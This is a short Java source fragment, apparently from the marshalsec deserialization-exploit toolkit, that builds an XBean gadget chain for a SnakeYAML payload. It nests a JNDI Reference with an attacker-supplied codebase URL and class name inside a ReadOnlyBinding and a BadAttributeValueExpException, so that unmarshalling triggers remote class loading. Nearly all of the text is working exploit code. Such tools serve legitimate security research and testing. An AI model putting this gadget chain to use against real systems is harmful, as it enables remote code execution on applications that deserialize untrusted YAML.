@Override
    @Args ( minArgs = 2, args = {
        "codebase", "classname"
    }, defaultArgs = {
        MarshallerBase.defaultCodebase, MarshallerBase.defaultCodebaseClass
    } )
    public Object makeXBean ( UtilFactory uf, String[] args ) throws Exception {
        // BadAttributeValueExpException constructor as toString trigger
        return writeConstructor(
            BadAttributeValueExpException.class,
            false,
            writeConstructor(
                ReadOnlyBinding.class,
                true,
                writeString("foo"),
                writeConstructor(Reference.class, true, "foo", writeString(args[ 1 ]), writeString(args[ 0 ])),
                writeConstructor(WritableContext.class, true)));
    }
{@inheritDoc}

@see marshalsec.gadgets.XBean#makeXBean(marshalsec.UtilFactory, java.lang.String[])
src/main/java/marshalsec/SnakeYAML.java